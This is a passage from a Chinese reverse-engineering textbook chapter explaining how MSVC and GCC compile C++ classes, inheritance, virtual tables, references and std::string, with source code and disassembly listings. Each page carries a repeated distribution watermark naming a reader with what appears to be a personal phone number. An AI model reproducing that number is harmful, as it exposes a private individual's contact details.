这里有一个比较好的文档,它描述了各种编译器的不同的命名混淆规则。 的专用风格。必须注意的是, 类对象的指针是以函数的第一个参数的方式传递的。当然,编程人员看不到这些技术细节。 第一个构造函数是: public _ZN1cC1Ev ; weak _ZN1cC1Ev proc near ; CODE XREF: main+10 arg_0 = dword ptr 8 push ebp mov ebp, esp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 514 逆向工程权威指南(下册) mov eax, [ebp+arg_0] mov dword ptr [eax], 667 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 999 pop ebp retn _ZN1cC1Ev endp 它通过外部传来的第一个参数获取结构体的指针,然后在相应地址修改了 2 个数值。 第二个构造函数是: public _ZN1cC1Eii _ZN1cC1Eii proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov [eax+4], edx pop ebp retn _ZN1cC1Eii endp 上述函数的程序逻辑与下面的 C 语言代码大致相当: void ZN1cC1Eii (int *obj, int a, int b) { *obj=a; *(obj+1)=b; }; 结果是完全可以预期的。 现在我们来看看 dump()函数: public _ZN1c4dumpEv _ZN1c4dumpEv proc near var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [ebp+arg_0] mov eax, [eax] mov [esp+18h+var_10], edx mov [esp+18h+var_14], eax mov [esp+18h+var_18], offset aDD ; "%d; %d\n" call _printf leave retn _ZN1c4dumpEv endp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 515 这个函数在其内部表征中只有一个参数。这个参数就是这个对象的 this 指针。 本函数可以用 C 语言重写如下: void ZN1c4dumpEv (int *obj) { printf ("%d; %d\n", *obj, *(obj+1)); }; 综合本节的各例可知,MSVC 和 GCC 的区别在于函数名的名称编码风格以及传递 this 指针的具体方 式 (MSVC 通过 ECX 传递,而 GCC 以函数的第一个参数的方式传递)。 GCC-x86-64 在编译 64 位应用程序的时候,GCC 通过 RDI、RSI、RDX、RCX、R8 以及 R9 这几个寄存器传递函 数的前 6 个参数。它通过 RDI 寄存器,以第一个函数参数的形式传递 this 指针。另外,整数型 int 数据依 然是 32 位数据。它还会不时使用转移指令 JMP 替代 RET 指令。 指令清单 51.7 x64 下的 GCC 4.4.6 ; default ctor _ZN1cC2Ev: mov DWORD PTR [rdi], 667 mov DWORD PTR [rdi+4], 999 ret ; c(int a, int b) _ZN1cC2Eii: mov DWORD PTR [rdi], esi mov DWORD PTR [rdi+4], edx ret ; dump() _ZN1c4dumpEv: mov edx, DWORD PTR [rdi+4] mov esi, DWORD PTR [rdi] xor eax, eax mov edi, OFFSET FLAT:.LC0 ; "%d; %d\n" jmp printf 51.1.2 类继承 继承而来的类与前文的简单结构体相似,但是它可以对父类进行扩展。 我们先来看一个简单的例子: #include <stdio.h> class object { public: int color; object() { }; object (int color) { this->color=color; }; void print_color() { printf ("color=%d\n", color); }; }; class box : public object { private: int width, height, depth; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 516 逆向工程权威指南(下册) public: box(int color, int width, int height, int depth) { this->color=color; this->width=width; this->height=height; this->depth=depth; }; void dump() { printf ("this is box. color=%d, width=%d, height=%d, depth=%d\n", color, width, height, depth); }; }; class sphere : public object { private: int radius; public: sphere(int color, int radius) { this->color=color; this->radius=radius; }; void dump() { printf ("this is sphere. color=%d, radius=%d\n", color, radius); }; }; int main() { box b(1, 10, 20, 30); sphere s(2, 40); b.print_color(); s.print_color(); b.dump(); s.dump(); return 0; }; 我们共同关注 dump()函数(又称方法)以及 object::print_color()的指令代码,重点分析 32 位环境下有 关数据类型的内存存储格局。 下面所示的是几个不同的类的 dump()方法,它们是在启用优化编译选项/Ox 和/Ob0 后,由 MSVC 2008 产生的代码。 指令清单 51.8 MSVC 2008 带参数/Ob0 的优化 ??_C@_09GCEDOLPA@color?$DN?$CFd?6?$AA@ DB 'color=%d', 0aH, 00H ; `string' ?print_color@object@@QAEXXZ PROC ; object::print_color, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx] push eax ; 'color=%d', 0aH, 00H push OFFSET ??_C@_09GCEDOLPA@color?$DN?$CFd?6?$AA@ call _printf add esp, 8 ret 0 ?print_color@object@@QAEXXZ ENDP ; object::print_color 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 517 指令清单 51.9 MSVC 2008 带参数/Ob0 的优化 ?dump@box@@QAEXXZ PROC ; box::dump, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx+12] mov edx, DWORD PTR [ecx+8] push eax mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] push edx push eax push ecx ; 'this is box. color=%d, width=%d, height=%d, depth=%d', 0aH, 00H ; `string' push OFFSET ??_C@_0DG@NCNGAADL@this?5is?5box?4?5color?$DN?$CFd?0?5width?$DN?$CFd?0@ call _printf add esp, 20 ret 0 ?dump@box@@QAEXXZ ENDP ; box::dump 指令清单 51.10 MSVC 2008 带参数/Ob0 的优化 ?dump@sphere@@QAEXXZ PROC ; sphere::dump, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] push eax push ecx ; 'this is sphere. color=%d, radius=%d', 0aH, 00H push OFFSET ??_C@_0CF@EFEDJLDC@this?5is?5sphere?4?5color?$DN?$CFd?0?5radius@ call _printf add esp, 12 ret 0 ?dump@sphere@@QAEXXZ ENDP ; sphere::dump 因此,这里是内存的基本排列: ① 父类 object 对象的存储格局如下所示。 offset description +0x0 int color ② 继承类对象:box 和 sphere(分别为盒子和球体)的存储格局分别如下面两张表所示。 box offset description +0x0 int color +0x4 int width +0x8 int height +0xC int depth sphere offset description +0x0 int color +0x4 int radius 下面分析一下函数主体 main()。 指令清单 51.11 MSVC 2008 带参数/Ob0 的优化 PUBLIC _main _TEXT SEGMENT 异步社区会员 dearfuture(15918834820) 专享 尊重版权 518 逆向工程权威指南(下册) _s$ = -24 ; size = 8 _b$ = -16 ; size = 16 _main PROC sub esp, 24 push 30 push 20 push 10 push 1 lea ecx, DWORD PTR _b$[esp+40] call ??0box@@QAE@HHHH@Z ; box::box push 40 push 2 lea ecx, DWORD PTR _s$[esp+32] call ??0sphere@@QAE@HH@Z ; sphere::sphere lea ecx, DWORD PTR _b$[esp+24] call ?print_color@object@@QAEXXZ ; object::print_color lea ecx, DWORD PTR _s$[esp+24] call ?print_color@object@@QAEXXZ ; object::print_color lea ecx, DWORD PTR _b$[esp+24] call ?dump@box@@QAEXXZ ; box::dump lea ecx, DWORD PTR _s$[esp+24] call ?dump@sphere@@QAEXXZ ; sphere::dump xor eax, eax add esp, 24 ret 0 _main ENDP 继承类必须在其基(父)类字段的后面加入自己的字段,因此基类和继承类的类成员函数可以共存。 当程序调用类成员对象 object::print_color()时,指向对象 box 和 sphere 的指针是通过 this 指针传递的。由于 在所有继承类和基类中 color 字段的偏移量固定为 0(offset+0x0),所有类对象的类成员函数 object::print_color 都可以正常运行。 因此,无论是基类还是继承类调用 object::print_color(),只要该方法所引用的字段的相对地址固定不变, 那么该方法就可以正常运行。 假如基于 box 类创建一个继承类,那么编译器就会在变量 depth 的后面追加您所添加新的变量,以确 保基类 box 的各字段的相对地址在其继承类中固定不变。 因此,当父类为 box 类的各继承类在调用各自的方法 box::dump()时,它们都能检索到 color、width、 height 以及 depths 字段的正确地址。因为各字段的相对地址不会发生变化。 GCC 生成的指令代码与 MSVC 生成的代码几乎相同。唯一的区别是:GCC 不会使用 ECX 寄存器传递 this 指针,它会以函数的第一个参数的传递方式传递 this 指针。 51.1.3 封装 封装(encapsulation)的作用是:把既定的数据和方法限定为类的私有信息,使得其他调用方只能访问 类所定义的公共方法和公共数据、不能直接访问被封装起来的私有对象。 在指令层面,到底有没有划分私有对象和公开对象的界限呢? 其实完全没有。 我们来看看这一个简单的例子: #include <stdio.h> class box { private: int color, width, height, depth; public: box(int color, int width, int height, int depth) { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 519 this->color=color; this->width=width; this->height=height; this->depth=depth; }; void dump() { printf ("this is box. color=%d, width=%d, height=%d, depth=%d\n", color, width,height, depth); }; }; 我们启用 MSVC 2008 的优化选项/Ox 和/Ob0 编译上述程序,再查看类函数 box::dump()的代码。 ?dump@box@@QAEXXZ PROC ; box::dump, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx+12] mov edx, DWORD PTR [ecx+8] push eax mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] push edx push eax push ecx ; 'this is box. color=%d, width=%d, height=%d, depth=%d', 0aH, 00H push OFFSET ??_C@_0DG@NCNGAADL@this?5is?5box?4?5color?$DN?$CFd?0?5width?$DN?$CFd?0@ call _printf add esp, 20 ret 0 ?dump@box@@QAEXXZ ENDP ; box::dump 下面这个表格显示了类的变量在内存中的偏移量的分布情况。 offset description +0x0 int color +0x4 int width +0x8 int height +0xC int depth 所有字段都是无法被其他函数直接访问的私有变量。但是,既然我们知道了这个对象的内存存储格局, 能不能写出一个修改这些变量的程序呢? 为此,我们可以构造一个名称为 hack_oop_encapsulation()的函数。如果不做调整的话,直接访问既定 字段的源程序大致会是: void hack_oop_encapsulation(class box * o) { o->width=1; // that code cant be compiled': // "error C2248: 'box::width' : cannot access private member declared in class 'box'" }; 当然,上述代码不可能被成功编译出来。然而,只要把 box 的数据类型强制转换为整型数组的话,我 们就可以通过编译并且直接修改相应字段。 void hack_oop_encapsulation(class box * o) { unsigned int *ptr_to_object=reinterpret_cast<unsigned int*>(o); ptr_to_object[1]=123; }; 上述函数的功能十分简单:它将输入数据视为整型数组,然后将数组的第二个元素、一个整型 int 值 修改为 123 。 ?hack_oop_encapsulation@@YAXPAVbox@@@Z PROC ; hack_oop_encapsulation mov eax, DWORD PTR _o$[esp-4] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 520 逆向工程权威指南(下册) mov DWORD PTR [eax+4], 123 ret 0 ?hack_oop_encapsulation@@YAXPAVbox@@@Z ENDP ; hack_oop_encapsulation 接下来,我们验证一下它的功能。 int main() { box b(1, 10, 20, 30); b.dump(); hack_oop_encapsulation(&b); b.dump(); return 0; }; 运行的结果为: this is box. color=1, width=10, height=20, depth=30 this is box. color=1, width=123, height=20, depth=30 我们可以看到,封装只能够在编译阶段保护类的私有对象。虽然 C++编译器禁止外部代码直接访问那 些被明确屏蔽的内部对象,但是通过适当的 hack 技术,我们确实能够突破编译器的限制策略。 51.1.4 多重继承 多重继承,指的是一个类可以同时继承多个父类的字段和方法。 我们还是写个简单的例子: #include <stdio.h> class box { public: int width, height, depth; box() { }; box(int width, int height, int depth) { this->width=width; this->height=height; this->depth=depth; }; void dump() { printf ("this is box. width=%d, height=%d, depth=%d\n", width, height, depth); }; int get_volume() { return width * height * depth; }; }; class solid_object { public: int density; solid_object() { }; solid_object(int density) { this->density=density; }; int get_density() { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 521 return density; }; void dump() { printf ("this is solid_object. density=%d\n", density); }; }; class solid_box: box, solid_object { public: solid_box (int width, int height, int depth, int density) { this->width=width; this->height=height; this->depth=depth; this->density=density; }; void dump() { printf ("this is solid_box. width=%d, height=%d, depth=%d, density=%d\n", width, height, depth, density); }; int get_weight() { return get_volume() * get_density(); }; }; int main() { box b(10, 20, 30); solid_object so(100); solid_box sb(10, 20, 30, 3); b.dump(); so.dump(); sb.dump(); printf ("%d\n", sb.get_weight()); return 0; }; 在启用其优化选项(/Ox 和/Ob0)后,我们使用 MSVC 编译上述程序,重点观察 box::dump()、 solid_object::dump()以及 solid_box::dump()这 3 个类成员函数。 指令清单 51.12 带/Ob0 参数的 MSVC 2008 优化程序 ?dump@box@@QAEXXZ PROC ; box::dump, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx+8] mov edx, DWORD PTR [ecx+4] push eax mov eax, DWORD PTR [ecx] push edx push eax ; 'this is box. width=%d, height=%d, depth=%d', 0aH, 00H push OFFSET ??_C@_0CM@DIKPHDFI@this?5is?5box?4?5width?$DN?$CFd?0?5height?$DN?$CFd@ call _printf add esp, 16 ret 0 ?dump@box@@QAEXXZ ENDP ; box::dump 指令清单 51.13 带/Ob0 参数的 MSVC 2008 优化程序 ?dump@solid_object@@QAEXXZ PROC ; solid_object::dump, COMDAT ; _this$ = ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 522 逆向工程权威指南(下册) mov eax, DWORD PTR [ecx] push eax ; 'this is solid_object. density=%d', 0aH push OFFSET ??_C@_0CC@KICFJINL@this?5is?5solid_object?4?5density?$DN?$CFd@ call _printf add esp, 8 ret 0 ?dump@solid_object@@QAEXXZ ENDP ; solid_object::dump 指令清单 51.14 带/Ob0 参数的 MSVC 2008 优化程序 ?dump@solid_box@@QAEXXZ PROC ; solid_box::dump, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx+12] mov edx, DWORD PTR [ecx+8] push eax mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] push edx push eax push ecx ; 'this is solid_box. width=%d, height=%d, depth=%d, density=%d', 0aH push OFFSET ??_C@_0DO@HNCNIHNN@this?5is?5solid_box?4?5width?$DN?$CFd?0?5hei@ call _printf add esp, 20 ret 0 ?dump@solid_box@@QAEXXZ ENDP ; solid_box::dump 上述 3 个类对象的内存分布如下: ① 类 box。如下表所示。 offset description +0x0 width +0x4 height +0x8 depth ② 类 solid_object。如下表所示。 offset description +0x0 density ③ 类 solid_box,可以看成是以上两个类的联合体。如下表所示。 offset description +0x0 width +0x4 height +0x8 depth +0xC density 以上图表采用了偏移量与对应变量的方式展现 3 个类对象的内存存储结构。图中一共出现了 4 个变量, 即长 width、高 height、宽 depth 以及密度 density。 体积函数 get_volume()的代码如下所示。 指令清单 51.15 带/Ob0 参数的 MSVC 2008 优化程序 ?get_volume@box@@QAEHXZ PROC ; box::get_volume, COMDAT ; _this$ = ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 523 mov eax, DWORD PTR [ecx+8] imul eax, DWORD PTR [ecx+4] imul eax, DWORD PTR [ecx] ret 0 ?get_volume@box@@QAEHXZ ENDP ; box::get_volume 密度函数 get_density()的代码如下所示。 指令清单 51.16 带/Ob0 参数的 MSVC 2008 优化程序 ?get_density@solid_object@@QAEHXZ PROC ; solid_object::get_density, COMDAT ; _this$ = ecx mov eax, DWORD PTR [ecx] ret 0 ?get_density@solid_object@@QAEHXZ ENDP ; solid_object::get_density 最有意思的是 solod_box::get_weight()重量函数。 指令清单 51.17 带/Ob0 参数的 MSVC 2008 优化程序 ?get_weight@solid_box@@QAEHXZ PROC ; solid_box::get_weight, COMDAT ; _this$ = ecx push esi mov esi, ecx push edi lea ecx, DWORD PTR [esi+12] call ?get_density@solid_object@@QAEHXZ ; solid_object::get_density mov ecx, esi mov edi, eax call ?get_volume@box@@QAEHXZ ; box::get_volume imul eax, edi pop edi pop esi ret 0 ?get_weight@solid_box@@QAEHXZ ENDP ; solid_box::get_weight 函数 get_weight()(计算重量)只调用了两个方法。在调用 get_volume()(计算体积)时,它传递了 this 指针。而在调用 get_density()(密度)函数时,它传递的地址是“this 指针+12 个字节”。后面这个地址 对应的是 solid_box 类的 solid_object 字段。 因此,solid_object::get_density()方法认为,它处理的是常规的 solid_object 类,而 box::get_volume()则 可以正常访问原有数据类型的 3 个变量,如同直接操作 box 类一样。 因此,我们可以相信:继承了其他的、多个类而生成的类对象,在内存之中就是一种联合体型的数据 结构。它继承了原有父类的全部字段和方法。在这种继承类对象调用某个具体方法时,它传递的是与该方 法原有基类相对地址相应的 this 指针。 51.1.5 虚拟方法 我们再来看看一个简单点的例子: #include <stdio.h> class object { public: int color; object() { }; object (int color) { this->color=color; }; virtual void dump() { printf ("color=%d\n", color); }; }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 524 逆向工程权威指南(下册) class box : public object { private: int width, height, depth; public: box(int color, int width, int height, int depth) { this->color=color; this->width=width; this->height=height; this->depth=depth; }; void dump() { printf ("this is box. color=%d, width=%d, height=%d, depth=%d\n", color, width, height, depth); }; }; class sphere : public object { private: int radius; public: sphere(int color, int radius) { this->color=color; this->radius=radius; }; void dump() { printf ("this is sphere. color=%d, radius=%d\n", color, radius); }; }; int main() { box b(1, 10, 20, 30); sphere s(2, 40); object *o1=&b; object *o2=&s; o1->dump(); o2->dump(); return 0; }; 类 object 定义一个虚拟函数 dump(),它被继承类 box 和 sphere 中的同名函数覆盖了。 在调用虚拟函数时,编译器阶段可能无法确定对象的类型情况。当类中含有虚函数时,其基类的指针 就可以指向任何派生类的对象,这时就有可能不知道基类指针到底指向的是哪个对象的情况。这时就要根 据实时类型信息,确定应当调用的相应函数。 在启用优化编译选项/Ox 和/Ob0 后,我们再用 MSVC 2008 编译主函数 main(): _s$ = -32 ; size = 12 _b$ = -20 ; size = 20 _main PROC sub esp, 32 push 30 push 20 push 10 push 1 lea ecx, DWORD PTR _b$[esp+48] call ??0box@@QAE@HHHH@Z ; box::box push 40 push 2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 525 lea ecx, DWORD PTR _s$[esp+40] call ??0sphere@@QAE@HH@Z ; sphere::sphere mov eax, DWORD PTR _b$[esp+32] mov edx, DWORD PTR [eax] lea ecx, DWORD PTR _b$[esp+32] call edx mov eax, DWORD PTR _s$[esp+32] mov edx, DWORD PTR [eax] lea ecx, DWORD PTR _s$[esp+32] call edx xor eax, eax add esp, 32 ret 0 _main ENDP 指向 dump()函数的函数指针应当位于类对象 object 中的某个地方。我们在哪里去找新方法的函数地址 呢?它必定由构造函数定义: main()函数没用调用其他函数,因此这个指针肯定由构造函数定义。 box 类实例的构造函数为: ??_R0?AVbox@@@8 DD FLAT:??_7type_info@@6B@ ; box 'RTTI Type Descriptor' DD 00H DB '.?AVbox@@', 00H ??_R1A@?0A@EA@box@@8 DD FLAT:??_R0?AVbox@@@8 ; box::'RTTI Base Class Descriptor at (0,-1,0,64)' DD 01H DD 00H DD 0ffffffffH DD 00H DD 040H DD FLAT:??_R3box@@8 ??_R2box@@8 DD FLAT:??_R1A@?0A@EA@box@@8 ; box::'RTTI Base Class Array' DD FLAT:??_R1A@?0A@EA@object@@8 ??_R3box@@8 DD 00H ; box::'RTTI Class Hierarchy Descriptor' DD 00H DD 02H DD FLAT:??_R2box@@8 ??_R4box@@6B@ DD 00H ; box::'RTTI Complete Object Locator' DD 00H DD 00H DD FLAT:??_R0?AVbox@@@8 DD FLAT:??_R3box@@8 ??_7box@@6B@ DD FLAT:??_R4box@@6B@ ; box::`vftable' DD FLAT:?dump@box@@UAEXXZ _color$ = 8 ; size = 4 _width$ = 12 ; size = 4 _height$ = 16 ; size = 4 _depth$ = 20 ; size = 4 ??0box@@QAE@HHHH@Z PROC ; box::box, COMDAT ; _this$ = ecx push esi mov esi, ecx call ??0object@@QAE@XZ ; object::object mov eax, DWORD PTR _color$[esp] mov ecx, DWORD PTR _width$[esp] mov edx, DWORD PTR _height$[esp] mov DWORD PTR [esi+4], eax mov eax, DWORD PTR _depth$[esp] mov DWORD PTR [esi+16], eax mov DWORD PTR [esi], OFFSET ??_7box@@6B@ 异步社区会员 dearfuture(15918834820) 专享 尊重版权 526 逆向工程权威指南(下册) mov DWORD PTR [esi+8], ecx mov DWORD PTR [esi+12], edx mov eax, esi pop esi ret 16 ??0box@@QAE@HHHH@Z ENDP ; box::box 它的内存布局略有不同:第一个字段是某个 box::’vftable’(虚拟函数表)的指针(具体名称由 MSVC 编译器设置)。 在这个表中,我们看到一个指向数据表box::RTTI Complete Object Locator的链接和一个指向类成员函 数box::dump()的链接。它们的正规名称分别是虚拟方法表和RTTI ① 51.2 ostream 输出流 。虚拟 方法表存储着各方法的地址,RTTI 表存储着类型的信息。另外,RTTI表为C++程序提供了“强制转换运算符”dynamic_cast(将基类类型的指 针或引用安全地转换为派生类型的指针或引用)和“类型查询操作符”typeid。在上述指令调用类成员函数 时,它所使用的类名称仍然是文本型字符串。基于代码中dump()函数的实例情况可知,在通过调用指向基 类的指针(或引用)调用其虚拟函数(类实例::虚方法)时,指针最终会指向派生类实例的同名虚拟方法 ——构造函数会把指针实际指向的对象实例的类型信息存储在数据结构之中。 在内存数据表里检索虚拟方法的内存地址必定要消耗额外的 CPU 时间。因此虚拟方法的运行速度比一 般的方法要慢一些。 在 GCC 生成的相应代码中,RTTI 表的构造稍微有些不同。 我们来看一个经典的例子“hello world!”,这里我们试图采用输出流的方式重新实现它。 #include <iostream> int main() { std::cout << "Hello, world!\n"; } 几乎所有的教科书都写明,运算重载符“<<”的作用是“重载”其他类型的数据,主要用于对象之间 的运算。我们来看看操作符“<<”的输出流用法。 指令清单 51.18 精简版的 MSVC 2012 的程序代码 $SG37112 DB 'Hello, world!', 0aH, 00H _main PROC push OFFSET $SG37112 push OFFSET ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::cout call ??$?6U?$char_traits@D@std@@@std@@YAAAV?$basic_ostream@DU? $char_traits@D@std@@@0@AAV10@PBD@Z ; std::operator<<<std::char_traits<char> > add esp, 8 xor eax, eax ret 0 _main ENDP 我们把源程序稍微修改一下: #include <iostream> int main() { std::cout << "Hello, " << "world!\n"; } ① RTTI 是 Run-time type information 的缩写,意思是实时类型信息。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 527 教科书都说这种运算会从左至右依次进行。实际上确实如此: 指令清单 51.19 MSVC 2012 下的程序实现 $SG37112 DB 'world!', 0aH, 00H $SG37113 DB 'Hello, ', 00H _main PROC push OFFSET $SG37113 ; 'Hello, ' push OFFSET ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::cout call ??$?6U?$char_traits@D@std@@@std@@YAAAV?$basic_ostream@DU? $char_traits@D@std@@@0@AAV10@PBD@Z ; std::operator<<<std::char_traits<char> > add esp, 8 push OFFSET $SG37112 ; 'world!' push eax ; result of previous function execution call ??$?6U?$char_traits@D@std@@@std@@YAAAV?$basic_ostream@DU? $char_traits@D@std@@@0@AAV10@PBD@Z ; std::operator<<<std::char_traits<char> > add esp, 8 xor eax, eax ret 0 _main ENDP 如果我们用 f()函数来表示“<<”的运算功能的话,那么上述程序就可以表示为: f(f(std::cout, "Hello, "), "world!"); GCC 生成的代码 和 MSVC 生成的代码基本一样。 51.3 引用 C++中,引用也是指针(可以参考本书第 10 章),但是调用其是安全的,因为在编译它们时,是很难 出现失误的(参见 ISO13,p.8.3.2)。比如说,引用永远指向某个类型的既定对象,而且引用不可以是空(参见 Cli,p.8.6)。更进一步讲,引用不能改变指向,不可能把某个引用重新指向其他的对象(参见 Cli,p.8.5)。 接下来,我们稍微改写一下第 10 章的第一个源程序,把 f1 函数的指针全部替换为引用: void f2 (int x, int y, int & sum, int & product) { sum=x+y; product=x*y; }; 我们可以看到编译之后的代码和那个使用指针的代码完全一样(参见第 10 章)。 指令清单 51.20 采用 MSVC 2010 优化的程序代码 _x$ = 8 ; size = 4 _y$ = 12 ; size = 4 _sum$ = 16 ; size = 4 _product$ = 20 ; size = 4 ?f2@@YAXHHAAH0@Z PROC ; f2 mov ecx, DWORD PTR _y$[esp-4] mov eax, DWORD PTR _x$[esp-4] lea edx, DWORD PTR [eax+ecx] imul eax, ecx mov ecx, DWORD PTR _product$[esp-4] push esi mov esi, DWORD PTR _sum$[esp] mov DWORD PTR [esi], edx mov DWORD PTR [ecx], eax pop esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 528 逆向工程权威指南(下册) ret 0 ?f2@@YAXHHAAH0@Z ENDP ; f2 至于为什么这里的程序使用了一些奇怪的名字,可以参见本书的 51.1.1 节。 51.4 STL/标准模板库(Standard Template Library) 请注意:本书仅保证本节内容在 32 位系统里有效,未对 x64 系统做过验证。 51.4.1 std::string(字符串) 内部 多数字符串库(Yur13,p.2.2)都把 std::string 定义为以下几个组件:缓冲区指针、字符串缓冲区、当前 字符串的长度(便于函数操作;请参阅[Yur13]的 2.2.1 节)以及当前缓冲区的容量。在缓冲区里,字符 串通常用 0 作字符串结束符,以兼容常规的 C 语言 ASCIIZ 字符串格式。 C++的标准 ISO13 没有定义 std::string 的实现方法。然而,它们通常用上述方法定义的这种数据结构。 在 C++的标准数据结构中,字符串不是类对象(不像 Qt 那样,把 QString 声明为标准类)。它把字符 串定义为模板型数据(基本字符串 basic_string)。这是为了兼容各种类型的字符元素。现在,它至少支持 char(标准字符)以及 wchar_t(宽字符)。 因此,std::string 是以 8 位字符 char 为基本类型的类,而 std::wstring 则是以 16/32 位宽字符 wchar_t 为 基本类型的类。 MSVC 当字符串长度在 16 字符以内时,MSVC 将字符串数据直接存储在缓冲区里,不再使用“指针+缓冲 区”的复杂结构。 这就意味着;在 32 位系统里,字符串最少会占用 24(16+4+4=24)个字节;而在 64 位环境下,字符 串至少占用 32(16+8+8=32)个字节。如果字符串的长度超过 16 个字符的话,这 16 个字节空间就算白白 浪费了。 指令清单 51.21 MSVC 的例子程序 #include <string> #include <stdio.h> struct std_string { union { char buf[16]; char* ptr; } u; size_t size; // AKA 'Mysize' in MSVC size_t capacity; // AKA 'Myres' in MSVC }; void dump_std_string(std::string s) { struct std_string *p=(struct std_string*)&s; printf ("[%s] size:%d capacity:%d\n", p->size>16 ? p->u.ptr : p->u.buf, p->size, p-> capacity); }; int main() { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 529 std::string s1="short string"; std::string s2="string longer that 16 bytes"; dump_std_string(s1); dump_std_string(s2); // that works without using c_str() printf ("%s\n", &s1); printf ("%s\n", s2); }; 源代码的功能应当不需要解释。 需要注意的有以下几点: 只要字符串长度没有超过 16 个字符,编译器就不会使用堆(heap)存储字符串的缓冲区。在实际的程 序中,多数字符串确实是短字符串。很明显,微软研发人员将 16 字符串作为长短字符串的分割点。 虽然我们没有在主程序 main()的最后调用成员函数 c_str(),但是这个程序可以通过编译,也能在屏幕 上显示出字符串的内容。 这就是为什么这个程序能运转起来。 第一个例子的字符串不足 16 个字符,因此它会被保存到字符串缓冲区。这个缓冲区实际位于 std:string 对象的起始地址(可视为结构体型数据)。这个区域里的数据,采取了标准的 ASCIIZ 的数据结构。因此 printf() 函数在处理指针时直接处理了相应的 ASCIIZ 字符串。所以,源程序可以显示第一个字符串的内容。 第二个字符串的长度大于 16 字节,更危险。编程人员很容易在此疏忽大意、忘记此时应当使用 string 对象的成员函数 c_str()。之所以本例这样还能正常工作,是因为指向缓冲区的指针正好位于结构体的开始 部分。某些人可能在相当长的时间里一直这么写代码,而一直不觉得会有问题;直到他们遇到超长字符串 引发程序崩溃的时候,他们才会开始意识到问题的存在。 GCC GCC 在实现 std::string 的时候使用了 MSVC 里没有的变量——reference count。 另外一个有趣的事情是:指向 std::string 实例的指针,并不是指向结构体的起始地址,而是指向了字符 串缓冲区的指针。文件 libstdc++-v3/include/bits/ basic_string.h 解释了这一问题。它说,这是为了便于调试 程序: * The reason you want _M_data pointing to the character %array and * not the _Rep is so that the debugger can see the string * contents. (Probably we should add a non-inline member to get * the _Rep for the debugger to use, so users can check the actual * string length.)  之所以使用_M_data(而不采用_Rep)指向字符串数列%array,原因在于调试人员能看到字符串的内 容。也许我们可以增加一个非内驻的成员_Rep 以调试,但是使用者可以检查实际的字符串长度。 有兴趣的读者可以下载看看:http://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-html-USERS-4.4/a010 68.html。 考虑到有关问题之后,我们调整了上一个小节使用的源程序: 指令清单 51.22 GCC 例子 #include <string> #include <stdio.h> struct std_string { size_t length; size_t capacity; size_t refcount; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 530 逆向工程权威指南(下册) }; void dump_std_string(std::string s) { char *p1=*(char**)&s; // GCC type checking workaround struct std_string *p2=(struct std_string*)(p1-sizeof(struct std_string)); printf ("[%s] size:%d capacity:%d\n", p1, p2->length, p2->capacity); }; int main() { std::string s1="short string"; std::string s2="string longer that 16 bytes"; dump_std_string(s1); dump_std_string(s2); // GCC type checking workaround: printf ("%s\n", *(char**)&s1); printf ("%s\n", *(char**)&s2); }; 因为 GCC 的类型检查规则更为苛刻,所以我们不得不做很多针对性的修改。即使这个程序的 printf() 函数同样可以在不依赖 c_str()函数的情况下打印字符串内容。 一个更加复杂的例子 #include <string> #include <stdio.h> int main() { std::string s1="Hello, "; std::string s2="world!\n"; std::string s3=s1+s2; printf ("%s\n", s3.c_str()); } 指令清单 51.23 MSVC 2012 编译的程序 $SG39512 DB 'Hello, ', 00H $SG39514 DB 'world!', 0aH, 00H $SG39581 DB '%s', 0aH, 00H _s2$ = -72 ; size = 24 _s3$ = -48 ; size = 24 _s1$ = -24 ; size = 24 _main PROC sub esp, 72 push 7 push OFFSET $SG39512 lea ecx, DWORD PTR _s1$[esp+80] mov DWORD PTR _s1$[esp+100], 15 mov DWORD PTR _s1$[esp+96], 0 mov BYTE PTR _s1$[esp+80], 0 call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::assign push 7 push OFFSET $SG39514 lea ecx, DWORD PTR _s2$[esp+80] mov DWORD PTR _s2$[esp+100], 15 mov DWORD PTR _s2$[esp+96], 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 531 mov BYTE PTR _s2$[esp+80], 0 call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; 